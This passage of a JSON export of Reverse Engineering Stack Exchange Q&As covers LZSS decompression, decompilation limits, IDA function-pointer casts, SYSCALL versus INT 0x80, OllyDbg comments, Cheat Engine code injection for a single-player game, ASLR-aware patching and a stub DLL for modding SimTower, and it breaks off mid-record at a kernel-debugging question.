lookup offset changes, I noticed longer 0x00 byte sequences that obviously would not be there if that data would be compressed. Taking a closer look at them, it turned out they are paddings for a 2048 byte alignment, and that the compressed data section is again made up of several subsections. Once I split them up and decompressed them separately, the problem with the changing buffer lookup offset was solved. So in the end it seems that the LZSS algorithm works exactly as in the <a href=\"http://wiki.xentax.com/index.php/LZSS#Decompression\" rel=\"nofollow noreferrer\">link</a> that I already posted above. The mystery was not the compression itself but the file structure. There are still a few questions open regarding to that, and once I'm done I will post a more detailed answer.</p>\n",
        "Title": "Decoding LZSS buffer lookup indices",
        "Tags": "|firmware|unpacking|decompress|",
        "Answer": "<p>As already described in the updates to my question, it turned out that the compression algorithm is the standard <a href=\"http://wiki.xentax.com/index.php/LZSS#Decompression\" rel=\"nofollow noreferrer\">LZSS algorithm</a> with a 12 bit lookup index and 4 bit lookup length. They were just stored in an unexpected way (flipped bytes).</p>\n\n<p>Taking the example from the question:</p>\n\n<pre><code>0x5FC3 = 0 1 0 1 1 1 1 1 1 1 0 0 0 0 1 1 b\n         &lt;-------------&gt; &lt;-----&gt; &lt;-----&gt;\n         7             0 11    8 3     0 (bit indices)\n             index        index  length\n</code></pre>\n\n<p>Ordering the bits correctly yields the following:</p>\n\n<pre><code>lookup index  110001011111b = 3167\nlookup length 0011b         = 3 (+ 3 [lookup threshold length] = 6) \n</code></pre>\n\n<p>So the lookup is 6 bytes at buffer position 3167. The buffer position is absolute and always starts at the \"physical\" buffer index 0, it's not an offset to the circular buffer position.</p>\n\n<p>The reason why I had observed weird and changing lookup index offsets was</p>\n\n<ul>\n<li>the data contained multiple independent compressed sections, which once split, gave a constant buffer offset</li>\n<li>I still have to apply a buffer offset to decompress correctly, that is probably because of some data header or init data that I have not determined yet, but that is out of scope of this question</li>\n</ul>\n"
    },
    {
        "Id": "16694",
        "CreationDate": "2017-11-02T20:27:37.370",
        "Body": "<p>I have been wondering, if every program is based on machine code, can we not decompile a program until it hits machine code and make it up to real programming languages? </p>\n\n<p>How to decompile exe files with a rate of 100%? If my computer understands the processes it should take, isn't it also be able return me the steps of what's its done, values from memory exc..? </p>\n\n<p>How do I decompile an exe file without an error?</p>\n",
        "Title": "How to decompile an exe file?",
        "Tags": "|windows|decompilation|decryption|",
        "Answer": "<ol>\n<li><blockquote>\n  <p>I have been wondering, if every program is based on machine code, can we not decompile a program until it hits machine code and make it up to real programming languages?</p>\n</blockquote>\n\n<p>This question is based on a false premise; namely that every program is based on machine code. Programs are typically written in high-level languages, which are by design architecture independent and therefore must be translated into an architecture-specific form in order to be executed:</p>\n\n<ul>\n<li><blockquote>\n  <p>\u201cHigh-level\u201d programming languages take their name from the relatively\n  high level, or degree of abstraction, of the features they provide, relative to those of the assembly languages they were originally designed to replace. The adjective \u201cabstract,\u201d in this context, refers to the degree to which language features are separated from the details of any particular computer architecture.<sup>1</sup> </p>\n</blockquote></li>\n<li><blockquote>\n  <p>Machine independence is a fairly simple concept. Basically it says that a programming language should not rely on the features of any particular instruction set for its efficient implementation.<sup>1</sup></p>\n</blockquote></li>\n</ul>\n\n<p>Programming languages are examples of formal languages:</p>\n\n<ul>\n<li><a href=\"https://cs.stackexchange.com/questions/30639/what-is-the-relationship-between-programming-languages-regular-expressions-and/30667#30667\">What is the Relationship Between Programming Languages, Regular Expressions and Formal Languages</a></li>\n<li><a href=\"http://www.its.caltech.edu/~matilde/FormalLanguageTheory.pdf\" rel=\"nofollow noreferrer\">Formal Language Theory</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Syntax_(programming_languages)#Levels_of_syntax\" rel=\"nofollow noreferrer\">Programming language syntax</a>\n<br>\n<br></li>\n</ul>\n\n<p>The translation of the series of statements written in a programming language in a program source file to semantically equivalent object code is accomplished by a compiler. Decompilation involves translation of architecture-dependent object code to a semantically equivalent representation (source code) that is not architecture specific, the reverse process of compilation.</p></li>\n<li><blockquote>\n  <p>How to decompile exe files with a rate of 100%? </p>\n</blockquote>\n\n<p>This does not seem to be possible.</p>\n\n<blockquote>\n  <p>Certainly, fully automated decompilation of arbitrary machine-code programs is not possible -- this problem is theoretically equivalent to the Halting Problem, an undecidable problem in Computer Science. What this means is that automatic (no expert intervention) decompilation cannot be achieved for all possible programs that are ever written. Further, even if a certain degree of success is achieved, the automatically generated program will probably lack meaningful variable and function names as these are not normally stored in an executable file (except when stored for debugging purposes).<sup><a href=\"http://program-transformation.org/Transform/DecompilationPossible\" rel=\"nofollow noreferrer\">2</a></sup></p>\n</blockquote></li>\n</ol>\n\n<p>Further description of the challenges posed for decompilation can be found here:</p>\n\n<ul>\n<li><a href=\"https://yurichev.com/mirrors/DCC_decompilation_thesis.pdf\" rel=\"nofollow noreferrer\">Reverse Compilation Techniques</a></li>\n<li><a href=\"https://users.ece.cmu.edu/~dbrumley/pdf/Schwartz%20et%20al._2013_Native%20x86%20Decompilation%20using%20Semantics-Preserving%20Structural%20Analysis%20and%20Iterative%20Control-Flow%20Structuring.pdf\" rel=\"nofollow noreferrer\">Native x86 Decompilation using Semantics-Preserving Structural Analysis and Iterative Control-Flow Structuring</a></li>\n<li><a href=\"http://decompilation.info/sites/all/files/articles/C%20decompilation.pdf\" rel=\"nofollow noreferrer\">C Decompilation: Is It Possible?</a></li>\n</ul>\n\n<p>In fact, correct disassembly (much less decompilation) is a major challenge:</p>\n\n<ul>\n<li><a href=\"https://reverseengineering.stackexchange.com/questions/2580/why-is-disassembly-not-an-exact-science/8677#8677\">Why is disassembly not an exact science</a></li>\n<li><a href=\"https://silviocesare.wordpress.com/2007/11/17/on-disassembling-obfuscated-assembly/\" rel=\"nofollow noreferrer\">Disassembling Obfuscated Assembly</a></li>\n</ul>\n\n<hr>\n\n<p><sub>1. Scott, Michael L. <em>Programming Language Pragmatics</em>. 3rd ed. Page 111</sub></p>\n\n<p><sub>2. <a href=\"http://program-transformation.org/Transform/DecompilationPossible\" rel=\"nofollow noreferrer\">Is Decompilation Possible?</a></sub></p>\n"
    },
    {
        "Id": "16699",
        "CreationDate": "2017-11-03T02:05:12.963",
        "Body": "<p>I have recently been debugging a binary and at a point I started to decompile a function. One of the lines of the decompiled file is this:</p>\n\n<pre><code>v14 = (int (__cdecl *)(signed int))sub_8048FB6(1);\n</code></pre>\n\n<p>I have been told it is a function pointer but I have no clue to what function it is pointing to. I will appreciate if someone breaks this absolutely vague string to me into pieces with elaboration.</p>\n",
        "Title": "IDA Pro's Super-Complicated Function Pointer Definition",
        "Tags": "|ida|pointer|",
        "Answer": "<p>The variable being assigned to:</p>\n\n<pre><code>v14 = \n</code></pre>\n\n<p>The type cast needed to convert the result of the subroutine to the type of <code>v14</code>:</p>\n\n<pre><code>(int (__cdecl *)(signed int))\n</code></pre>\n\n<p>The subroutine call, with one argument: <code>1</code>:</p>\n\n<pre><code>sub_8048FB6(1);\n</code></pre>\n\n<p>The typecast is needed because hexrays did not figure out automatically what the return type of <code>sub_8048FB6</code> is, so it probably defaulted to <code>int</code>, instead of the function pointer.</p>\n\n<hr>\n\n<p>Now the type:</p>\n\n<p>The outer brackets denote a type cast:</p>\n\n<pre><code>(int (__cdecl *)(signed int))\n^                           ^\n</code></pre>\n\n<p>The calling convention <code>cdecl</code> is cpu specific, commonly, a couple of arguments in registers, the rest on the stack, with the last argument pushed first:</p>\n\n<pre><code>(int (__cdecl *)(signed int))\n      ^^^^^^^\n</code></pre>\n\n<p>It is a function pointer, denoted by the bracketed  <code>(...*)</code></p>\n\n<pre><code>(int (__cdecl *)(signed int))\n     ^        ^^\n</code></pre>\n\n<p>A function taking one argument, a signed integer:</p>\n\n<pre><code>(int (__cdecl *)(signed int))\n                ^^^^^^^^^^^^\n</code></pre>\n\n<p>And the function returning an integer:</p>\n\n<pre><code>(int (__cdecl *)(signed int))\n ^^^\n</code></pre>\n\n<hr>\n\n<p>This is the same as you would declare a function pointer in C:</p>\n\n<pre><code>typedef  int (*myfunctype)(signed int);\nint afunction(signed int arg);\nmyfunctype  fp = afunction;\n</code></pre>\n\n<hr>\n\n<p>If you want to know what function pointer it is that is returned, you will have to look inside <code>sub_8048FB6</code>, to see where it gets it\u2019s return value from.</p>\n\n<p>For example, <code>sub_8048FB6</code> may something look like this:</p>\n\n<pre><code>(int (__cdecl *)(signed int)) sub_8048FB6(int a1)\n{\n     switch(a1) {\n        case 1:\n            return sub_80123456;\n        case 2:\n            return sub_80456789;\n    }\n}\n</code></pre>\n\n<p>And elsewhere, the returned functions:</p>\n\n<pre><code>int sub_80123456(signed int)\n{\n   \u2026\n}\n\nint sub_80456789(signed int)\n{\n   \u2026\n}\n</code></pre>\n"
    },
    {
        "Id": "16702",
        "CreationDate": "2017-11-03T16:02:13.317",
        "Body": "<p>The <strong>SYSCALL</strong> instruction is said to be the 64-bit version of <strong>INT 0X80</strong>, however it's still possible to use the latter in 64-bit code (although <a href=\"https://linux.die.net/man/1/strace\" rel=\"noreferrer\">strace</a> decodes it wrong because of the 64-bit ABI I guess) which usually goes through a <a href=\"https://github.com/torvalds/linux/blob/e7d0c41ecc2e372a81741a30894f556afec24315/arch/x86/entry/entry_64_compat.S#L267\" rel=\"noreferrer\">\"legacy entry\"</a>. But there's something I don't quite understand, why is the <em>SYSCALL</em> instruction faster? </p>\n",
        "Title": "Difference between INT 0X80 and SYSCALL",
        "Tags": "|x86|system-call|",
        "Answer": "<p>The short answer is that <code>syscall</code> has less overhead than <code>int 0x80</code>. </p>\n\n<p>For more details on why this is the case, see the accepted answer to <a href=\"https://stackoverflow.com/questions/15168822/intel-x86-vs-x64-system-call\">Intel x86 vs x64 system call</a>, where a nearly identical question was asked: </p>\n\n<blockquote>\n  <p>I'm told that syscall is lighter and faster than generating a software interrupt. Why it is faster on x64 than x86, and can I make a system call on x64 using int 80h?</p>\n</blockquote>\n\n<p>See also:</p>\n\n<ul>\n<li><a href=\"https://lkml.org/lkml/2002/12/9/13\" rel=\"noreferrer\">Intel P6 vs P7 system call performance</a>\n\n<ul>\n<li>this email thread discusses the observed slowdown on certain Intel CPUs caused by the overhead associated with <code>int 0x80</code></li>\n</ul></li>\n<li><p><a href=\"http://articles.manugarg.com/systemcallinlinux2_6.html\" rel=\"noreferrer\">Sysenter Based System Call Mechanism in Linux 2.6</a></p>\n\n<blockquote>\n  <p>It was found out that this software interrupt method [int 0x80] was much slower on Pentium IV processors. To solve this issue, Linus implemented an alternative system call mechanism to take advantage of SYSENTER/SYSEXIT instructions provided by all Pentium II+ processors.</p>\n</blockquote></li>\n<li><p><a href=\"http://www.win.tue.nl/~aeb/linux/lk/lk-4.html\" rel=\"noreferrer\">The Linux kernel, 4.6 Sysenter and the vsyscall page (2003)</a></p>\n\n<blockquote>\n  <p>It has been observed that a 2 GHz Pentium 4 was much slower than an 850 MHz Pentium III on certain tasks, and that this slowness is caused by the very large overhead of the traditional <code>int 0x80</code> interrupt on a Pentium 4. Some models of the i386 family do have faster ways to enter the kernel. On Pentium II there is the <code>sysenter</code> instruction. Also AMD has a <code>syscall</code> instruction. </p>\n</blockquote></li>\n</ul>\n"
    },
    {
        "Id": "16709",
        "CreationDate": "2017-11-04T16:33:15.973",
        "Body": "<p>I used ollydbg to look at the disassembly of a binary I made to get some practice with reversing. When I close Olly, and then reopen it after a crash, the assembly window is at a different location. How do I search for my comments to jump back to where I was working? I've tried ctrl-g to search for them, but that only seems to search through the assembly code itself.</p>\n",
        "Title": "Searching for comments in ollydbg",
        "Tags": "|ollydbg|",
        "Answer": "<p>Searching for user comments can be done like this:</p>\n\n<p><strong>OllyDbg V1</strong></p>\n\n<pre><code>Right Click &gt;&gt; Search for &gt;&gt; User-defined comment\n</code></pre>\n\n<p><strong>OllyDbg V2</strong></p>\n\n<pre><code>Right Click &gt;&gt; Search for &gt;&gt; All user comments\n</code></pre>\n\n<hr>\n\n<p>It is not guaranteed that your comments were saved since OllyDbg won't save, just for an example, comments on a dynamic allocated code.  </p>\n\n<p>For the next time, I suggest you to use an external plugin to export and then import your comments. Back in the days I used <a href=\"http://www.openrce.org/downloads/details/107/Labelmaster\" rel=\"noreferrer\">LabelMaster</a> for this task.</p>\n\n<hr>\n\n<p>On a personal note, I highly recommend to use x64dbg which is an active open-source project, unlike Ollydbg which is absolutely outdated. Moreover, x64dbg is inspired by OllyDbg so you should not have too many problems with migrating to it.  </p>\n\n<p>Here are some resources:</p>\n\n<ul>\n<li><a href=\"https://x64dbg.com\" rel=\"noreferrer\">x64dbg main website</a></li>\n<li><a href=\"https://github.com/x64dbg/x64dbg\" rel=\"noreferrer\">The project's Github repository</a>  </li>\n<li><a href=\"https://x64dbg.readthedocs.io/en/latest/\" rel=\"noreferrer\">x64dbg's documentation</a>  </li>\n</ul>\n\n<p>For the record, you can list your defined comments in x64dbg by pressing <kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>C</kbd> or by clicking the \"View\" menu and choosing \"Comments\".</p>\n"
    },
    {
        "Id": "16714",
        "CreationDate": "2017-11-05T02:47:01.477",
        "Body": "<p>So to gain more experience with reversing, I am currently trying to write an external hack for a video game called Borderlands 2. I've been using cheat engine to scan for addresses of instructions that modify values such as ammo and health. I found an instruction that seems to be used for loss of health, and total ammo for all entities in the game. (i.e filling it with NOPs doesn't help me, because it puts me, as well as all of the enemies in godmode and gives everything inf. ammo). My goal is to have one command put me in god mode and a different one to give me inf. ammo and not affect any of the other creatures. Does anyone know how I can NOP this shared instruction only for my health when I use a godmode command and only for my ammo when I use an inf. ammo command? I imagine I need to somehow figure out if the instruction is being used to update my player values (probably by comparing some other offset from the base address to the enemy values at that offset), but I also need to figure out how to determine if the instruction is trying to modify my health or ammo so that I can NOP it only when it is modifying the one corresponding to whichever command I currently have active. Any ideas are welcome! </p>\n",
        "Title": "Dealing with instructions that are accessed by multiple pieces of data",
        "Tags": "|assembly|memory|dynamic-analysis|",
        "Answer": "<p>The joy of shared instructions! Here are a couple of ideas for you to consider, both of which I'm going to be using Cheat Engine to demonstrate, because it's fast becoming the superior dynamic analysis tool <em>for game-hacking</em>.</p>\n\n<p><strong>1</strong>. Instead of looking for the instruction that writes to the address, right-click on it and look for instructions that <em>access</em> the address. There, you will find instructions that read the value from the address, as well as instructions that write to it. An example of an instruction that reads the value might be for the HUD representation of health. To know how far up to show your health bar being filled, it reads the value from your health address.</p>\n\n<p>What that means is if you find an address that <em>reads</em> your health value, that may be the only thing that instruction does. You can then create a code injection just before that instruction and move a custom value into the address that's being referenced or pointed at.</p>\n\n<p>For example, let's say this is an instruction that reads from your health address:</p>\n\n<p><strong>mov eax,[ecx+0C]</strong></p>\n\n<p>In that case, your health address is being pointed to by [ecx+0C]. The value there is being moved into the eax register. What you could do is create a code injection at that instruction with which to write a custom health value to [ecx+0C] before the mov instruction runs. That would change the actual value of health, and thus that custom value is then read from the address. This is easy to do with Cheat Engine (via its native code injection functionality), but otherwise requires you to look into <strong><a href=\"https://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves\" rel=\"nofollow noreferrer\">code-caving</a></strong>.</p>\n\n<p><strong>2.</strong> To use a shared instruction like the one you've found, you have to find a way to differentiate what you want to influence, from the rest of the addresses being written to. This can look like a daunting task, especially when you find a shared instruction like <a href=\"https://www.youtube.com/watch?v=5fJFSOPGZyQ\" rel=\"nofollow noreferrer\">in GameMaker games</a> where HUNDREDS of addresses are all being written to through one instruction, but fear not!</p>\n\n<p>Your options are to find differences in the following places:</p>\n\n<pre><code>A) Memory addresses (Including the stack)\nB) Registers (General purpose, FPU/XMM, special purpose, etc.)\n</code></pre>\n\n<p>Right-click on the shared instruction and choose \"Find out what addresses this instruction accesses.\" A new window will pop up showing addresses that instruction is writing to. From that window, you can do a whole lot of neat things.</p>\n\n<p>First, Cheat Engine provides a handy Data/Structure Dissect tool that you can use to compare values between multiple memory addresses. If you select all the addresses (Shift-click, or Ctrl-click the ones you're interested in), then right-click, you'll see an option to open the data dissect tool. There, you can compare values to find differences in the same offsets!</p>\n\n<p>Something else you can do from that list of addresses is hit Ctrl + R to view the contents of registers. There, you can usually find a register containing a different value between all addresses (you'll want to look for a differing value that's NOT a dynamic memory address, because that value will change when restarting the game).</p>\n\n<p>Finally, when viewing the contents of registers, there are two little buttons on that window: 'S' and 'F'.</p>\n\n<p>'S' lets you view the stack. There, you can look for values to differentiate. 'F' lets you view the contents of the FPU, and XMM registers. Sometimes, the latter can be helpful because, say, the FPU might have been used ONLY for health and not for any other values that shared instruction is writing to.</p>\n\n<p>Bringing it all together, you'll use whatever unique value(s) you find to write a custom code injection that will allow you to single out the value you're interested in. Let's say your instruction is this:</p>\n\n<p><strong>mov [edx+0C],eax</strong></p>\n\n<p>And let's say that, in register ebx, you found a unique value of 2B.</p>\n\n<p>Your injected code might look something like this:</p>\n\n<pre><code>label(customCode)\nlabel(restoreFlags)\nlabel(originalCode)\nlabel(return)\n\ncustomCode:\n  pushf //Preserve flags register by pushing onto the stack\n  cmp ebx,2B //Does ebx contain the value you're interested in?\n  jne restoreFlags //If not, restore flags register and resume normal execution\n  mov eax,(float)100 //If so, move a custom health value into eax for originalCode\n  //Execution flow from here moves to restoreFlags\n\nrestoreFlags:\n  popf //Restore flags register\n  //Execution flow from here moves to originalCode\n\noriginalCode:\n  mov [edx+0C],eax //eax contains either value from normal execution, or custom health\n  jmp return //Return to the point we injected and resume normal execution\n</code></pre>\n\n<p>I don't mean this as shameless self-promotion, but I've been running a YouTube channel for the better part of 3 years that teaches reversing via game-hacking. If games are your medium and you enjoy learning via videos, I think you'd really learn a lot from <strong><a href=\"https://www.youtube.com/watch?v=m7yaYoc-ils&amp;list=PLNffuWEygffbbT9Vz-Y1NXQxv2m6mrmHr&amp;index=18\" rel=\"nofollow noreferrer\">my CE tutorial series</a></strong>, specifically. I also teach game-specific hacks, like Cuphead, ELEX, etc.</p>\n\n<p>Good luck!</p>\n"
    },
    {
        "Id": "16716",
        "CreationDate": "2017-11-05T19:33:25.507",
        "Body": "<p>I am reverse engineering a binary in IDA Pro and I came across the function <code>sub_8048FB6</code> which I think provides the address to a function pointer. The decompilation of the subroutine is as follows and I'm trying to find <code>result</code>.</p>\n\n<pre><code>int __cdecl sub_8048FB6(int a1)\n{\n  int result; // eax\n  int v2; // [esp+0h] [ebp-10h]\n  int v3; // [esp+4h] [ebp-Ch]\n\n  v2 = *(_DWORD *)dword_804C0D4;\n  v3 = *(_DWORD *)(8 * a1 + 4 + *(_DWORD *)dword_804C0D4);\n  if ( a1 &amp; 1 )\n    result = *(_DWORD *)(8 * a1 + v2) - v3;\n  else\n    result = *(_DWORD *)(*(_DWORD *)(8 * a1 + v2) - v3);\n  return result;\n}\n</code></pre>\n\n<p>The <code>dword_804C0D4</code> variable I will guess is pointing to a memory location and is only referenced 2 times in the binary as follows:</p>\n\n<pre><code>Up  r   sub_8048FB6+6   mov     eax, ds:dword_804C0D4\nUp  w   sub_804A24E+3   mov     ds:dword_804C0D4, offset unk_804C0B8\n</code></pre>\n\n<p>So, my guess is the offset to the variable <code>unk_804C0B8</code> is the value which is in the address pointed by <code>ds:dword_804C0D4</code>. If that's the case, with respect to where is the offset calculated? Once I double-click on <code>unk_804C0B8</code> I get:</p>\n\n<pre><code>LOAD:0804C0B8 unk_804C0B8     db 0E8h   ; DATA XREF: sub_804A24E+3\u2191o\nLOAD:0804C0B9                 db 0FFh\nLOAD:0804C0BA                 db 0FFh\nLOAD:0804C0BB                 db  8Bh\nLOAD:0804C0BC                 db  85h\nLOAD:0804C0BD                 db  68h ; h\nLOAD:0804C0BE                 db 0BFh\nLOAD:0804C0BF                 db 0FBh\nLOAD:0804C0C0                 db 0FFh\nLOAD:0804C0C1                 db  89h\nLOAD:0804C0C2                 db 0C2h\nLOAD:0804C0C3                 db 0B8h\nLOAD:0804C0C4                 db    0\nLOAD:0804C0C5                 db    0\nLOAD:0804C0C6                 db    0\nLOAD:0804C0C7                 db    0\nLOAD:0804C0C8 dword_804C0C8   dd 0FFEB0EE8h   ; DATA XREF: sub_8049D1E+2B1\u2191r\n</code></pre>\n\n<p>But I don't know how to read the value with all those <code>db</code>s. What is the size of <code>offset unk_804C0B8</code> and it's value? Am I proceeding correctly?</p>\n",
        "Title": "Function Pointer Assembly Calculations",
        "Tags": "|ida|pointer|",
        "Answer": "<pre><code>mov     ds:dword_804C0D4, offset unk_804C0B8\n</code></pre>\n<p>so if this <strong>instruction was executed first before the sub was called</strong> then</p>\n<p>0x804c0d4 would contain <strong>0x804c0b8</strong></p>\n<p>v2 = *(_DWORD *)dword_804C0D4;</p>\n<p>so v2 would be 0x804c0b8</p>\n<p>assuming int a1 == 0</p>\n<pre><code>v3 = *(_DWORD *)(8 * a1 + 4 + *(_DWORD *)dword_804C0D4);\n</code></pre>\n<p>v3 would be  ((8 * 0) + 4 + 0x804c0b8) == (0 + 4 +0x804c0b8)  == *(0x804c0bc) ==  0xfbbf6885</p>\n<pre><code>                              db  85h\nLOAD:0804C0BD                 db  68h ; h\nLOAD:0804C0BE                 db 0BFh\nLOAD:0804C0BF                 db 0FBh\n</code></pre>\n<p>to define a dword you can press d two times at 0x804c0bc</p>\n<p>since a1 was assumed to be 0 the if clause is not satisfied\nand the execution moves to else clause</p>\n<pre><code>result = *(_DWORD *)(*(_DWORD *)(8 * a1 + v2) - v3);\n</code></pre>\n<p>**(8*0 + 0x804c0b8) == **(0x804c0b8) ==  *0x8bffffe8</p>\n<pre><code>LOAD:0804C0B8 unk_804C0B8     db 0E8h   ; DATA XREF: sub_804A24E+3\u2191o\nLOAD:0804C0B9                 db 0FFh\nLOAD:0804C0BA                 db 0FFh\nLOAD:0804C0BB                 db  8Bh\n</code></pre>\n<p>you don't show what is at 8bffffe8</p>\n<p>result should be what is at 8bffffe8 - 0xfbbf6885</p>\n<p><strong>edit</strong></p>\n<p>incase a1 == 1 then it appears you have a NULL pointer\nso you should reverse some thing else first which moves some data to\n0x804c0c4</p>\n"
    },
    {
        "Id": "16717",
        "CreationDate": "2017-11-06T01:00:44.550",
        "Body": "<p>Every time I restart windows it breaks the patch I've made to an executable where I've called a function from the dll user32.dll. Currently the offset for the function call resides at 0x76E3CDB4, but when I restart my computer it will change to some other address. Why is this and what can I do to make sure my assembly code will always call the function properly?</p>\n",
        "Title": "Why does this function calls offset move when I restart windows",
        "Tags": "|disassembly|windows|assembly|winapi|",
        "Answer": "<p>This may be due to Address Space Layout Randomization \naka ASLR (e.g. see <a href=\"https://www.symantec.com/avcenter/reference/Address_Space_Layout_Randomization.pdf\" rel=\"nofollow noreferrer\">this overview by Symantec</a>)</p>\n\n<p>System modules' load addresses are randomized on each boot and \nexecutable images' are randomized on each execution in OS > Vista </p>\n\n<p>you can check that with some simple code like this </p>\n\n<pre><code>:\\&gt;cat aslr.cpp\n#include &lt;windows.h&gt;\n#include &lt;stdio.h&gt;\nvoid main (void)\n{\n    HMODULE hMod = LoadLibraryA(\"user32.dll\");\n    if(hMod){\n        printf(\"My Load Addr\\t%p My user Addr\\t%p\\n\" , &amp;main,hMod);\n        FreeLibrary(hMod);\n    }\n}\n</code></pre>\n\n<p>compiled and executed the result as follows</p>\n\n<pre><code>:\\&gt;for /L %i in (1,1,10) do aslr.exe\n\n:\\&gt;aslr.exe\nMy Load Addr    00121000 My user Addr   773A0000\n\n:\\&gt;aslr.exe\nMy Load Addr    00031000 My user Addr   773A0000\n\n:\\&gt;aslr.exe\nMy Load Addr    00FB1000 My user Addr   773A0000\n\n:\\&gt;aslr.exe\nMy Load Addr    002F1000 My user Addr   773A0000\n\n:\\&gt;aslr.exe\nMy Load Addr    011B1000 My user Addr   773A0000\n\n:\\&gt;aslr.exe\nMy Load Addr    011B1000 My user Addr   773A0000\n\n:\\&gt;aslr.exe\nMy Load Addr    011B1000 My user Addr   773A0000\n\n:\\&gt;aslr.exe\nMy Load Addr    011B1000 My user Addr   773A0000\n\n:\\&gt;aslr.exe\nMy Load Addr    00181000 My user Addr   773A0000\n\n:\\&gt;aslr.exe\nMy Load Addr    01121000 My user Addr   773A0000\n</code></pre>\n\n<p>to be sure you patch right you should work with RVA (Relative Virtual Address) </p>\n\n<p>that is get the base of module every time and add a fixed offset that you determined earlier every time </p>\n\n<p>suppose you patched @ 0x12345678 and when you patched the module was loaded at 0x10000000  then you have a difference of 0x2345678 </p>\n\n<p>next time if the module was loaded at 0x20000000 you use the address 0x20000000+0x2345678 == 0x22345678</p>\n"
    },
    {
        "Id": "16728",
        "CreationDate": "2017-11-06T23:16:20.957",
        "Body": "<p>A bit of background; I'm trying to inject my own code into the old game SimTower with the ultimate goal of reverse engineering it in the same way that OpenRCT2 was created.</p>\n\n<p>Since SimTower is distributed as a 16-bit NE executable I'm having a bit of trouble with injecting my own DLL and changing the main method to my own (as in this article <a href=\"https://bwrsandman.wordpress.com/2014/12/27/first-steps-to-reverse-engineering-an-executable/\" rel=\"noreferrer\">https://bwrsandman.wordpress.com/2014/12/27/first-steps-to-reverse-engineering-an-executable/</a>), but I think I've found another way.</p>\n\n<p>One of the first things that SimTower does is to run <code>WAVEMIXINIT</code> from <code>WAVMIX16.DLL</code>. As far as I can tell, if the return value is <code>0</code> it shows a dialog box and disables the sound.</p>\n\n<p><img src=\"https://user-images.githubusercontent.com/189580/32468638-0a936be4-c347-11e7-8989-580a8a0c6b44.png\" height=\"227\" /></p>\n\n<p>My plan now is to simply create a faux wavmix16 dll that will (for now) always return 0 from that function. That should allow me to get an entry point to run my own code, and get the game started.</p>\n\n<pre><code>typedef void *HANDLE;\n\nHANDLE __far __pascal WAVEMIXINIT() {\n  // while (1) {;};\n  return 0;\n}\n\nvoid __far __pascal STUB4() {}\nvoid __far __pascal STUB5() {}\nvoid __far __pascal STUB6() {}\nvoid __far __pascal STUB7() {}\nvoid __far __pascal STUB9() {}\nvoid __far __pascal STUB10() {}\nvoid __far __pascal STUB11() {}\nvoid __far __pascal STUB12() {}\n</code></pre>\n\n<p>Compiling this into a dll and naming it <code>wavmix16.dll</code> seems to work, and I can see that the call is coming in to my function, since if I uncomment the while loop the program will be stuck inside it.</p>\n\n<p>For some reason though, the program crashes as soon as I get to my return statement.</p>\n\n<p>(wine)</p>\n\n<blockquote>\n  <p>Unhandled page fault on read access to 0x0000fa30 at address 0x148f:0x0000000c (thread 002b)</p>\n</blockquote>\n\n<p>(Windows XP)</p>\n\n<p><img src=\"https://user-images.githubusercontent.com/189580/32468826-d353bb42-c347-11e7-8da3-78fa0329333f.png\" height=\"146\" /></p>\n\n<p>This is the assembly of my DDL function that gets called. I'm a little bit unsure of why there is more stuff than just a <code>mov</code> and <code>retf</code> (like the <code>nop</code>?), but I'm new to all this so maybe that's normal.</p>\n\n<p><img src=\"https://user-images.githubusercontent.com/189580/32468875-020fbe18-c348-11e7-90a5-80cab00910da.png\" height=\"225\" /></p>\n\n<p>This is the assembly of the original DLL function:</p>\n\n<p><img src=\"https://user-images.githubusercontent.com/189580/32481676-5587abde-c38c-11e7-8690-457b13517490.png\" height=\"506\" /></p>\n\n<p>Really appreciate any help, thank you!</p>\n",
        "Title": "Returning value from faux DLL",
        "Tags": "|dll|calling-conventions|",
        "Answer": "<p>Your faux function is not fixing up the stack on the epilog of the function. It should have </p>\n\n<pre><code>pop ds\npop bp\ndec bp\n</code></pre>\n\n<p>at the end by the calling convention.</p>\n\n<p>If you look at the original function it fixes up the stack correctly. </p>\n\n<p>Let's say the stack pointer had the value of 1000h coming into the function (after <code>CS:IP</code> is already pushed on the stack for the far call). You would then have in the original function</p>\n\n<pre><code>; sp = 1000h\nmox ax, ds     \n...\npush bp        ; sp = 0ffeh\nmov bp, sp     ; bp = 0ffeh\n...\nlea sp, [bp-2] ; sp = 0ffch\npop ds         ; sp = 0ffeh\npop bp         ; sp = 1000h\nretf\n</code></pre>\n\n<hr>\n\n<p>To make the compiler used in the question, <a href=\"http://www.digitalmars.com/ctg/sc.html\" rel=\"nofollow noreferrer\">the Digital Mars compiler dmc.exe</a>, generate these instructions when returning from a far function, pass the flag <code>-Wm</code> which will \"Generate INC BP / DEC BP to mark far stack frames\".</p>\n"
    },
    {
        "Id": "16735",
        "CreationDate": "2017-11-07T21:49:44.117",
        "Body": "<p>I've been looking at some kernel debugging and came to see this:</p>\n\n<pre><code>0: kd&gt; dt nt!_OBJECT_TYPE ffffd0851aad6c90\n   +0x000 TypeList         : _LIST_ENTRY [ 0xffffd085`1aad6c90 - 0xffffd085`1aad6c90 ]\n   +0x010 Name             : _UNICODE_STRING \"Process\"\n   +0x020 DefaultObject    : (null) \n   +0x028 Index            : 0x7 ''\n   +0x02c TotalNumberOfObjects : 0xa2\n   +0x030 TotalNumberOfHandles : 0x553\n   +0x034 HighWaterNumberOfObjects : 0xfc\n   +0x038 HighWaterNumberOfHandles : 0xbf5\n   +0x040 TypeInfo         : _OBJECT_TYPE_INITIALIZER\n   +0x0b8 TypeLock         : _EX_PUSH_LOCK\n   +0x0c0 Key              : 0x636f7250\n   +0x0c8 CallbackList     : _LIST_ENTRY [ 0xffffa38f`ff5e94f0 - 0xffffa38f`ff3ae580 ]\n</code></pre>\n\n<p>Most I can understand, or figure out what they suppose to mean.\nI have no idea what HighWater means, and how it differs from the TotalNumberOfObjects/Handles. \nJust from weird curiosity, any one has any idea what does it mean? </p>\n",
        "Title": "HighWaterNumberOfObjects/Handles meaning?",
        "Tags": "|windows|kernel|shared-object|",
